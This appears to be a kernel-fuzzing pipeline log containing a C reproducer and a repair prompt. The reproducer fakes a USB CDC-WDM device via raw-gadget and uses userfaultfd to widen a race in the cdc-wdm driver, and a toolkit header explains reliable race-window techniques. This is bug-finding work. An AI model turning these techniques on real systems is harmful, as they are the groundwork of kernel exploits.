struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:2:
<stdin>:226:12: error: initializer element is not constant
<stdin>:226:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:231:14: error: initializer element is not constant
<stdin>:231:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:232:15: error: initializer element is not constant
<stdin>:232:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:233:15: error: initializer element is not constant
<stdin>:233:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:256:19: error: initializer element is not constant
<stdin>:256:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:278:13: error: initializer element is not constant
<stdin>:278:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:285:21: error: initializer element is not constant
<stdin>:285:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor1553062142 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]]
|
| 445/6 |
2026/09/11 23:49 |
agent |
repro-repairer |
1m
Model:
Instruction: You are an experienced C developer.
Your goal is to repair a C program that failed to compile.
Analyze the compiler error and provide a corrected version of the C program.
Make the minimal necessary changes to fix the compilation error.
Preserve the structure, logic, and intent of the original code.
Do NOT replace the program with a dummy placeholder (e.g., an empty main function).
Print only the C program that could be executed directly, without backticks.
Prefer calling several tools at the same time to save round-trips.
Prompt: C Program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
Compiler Error:
failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
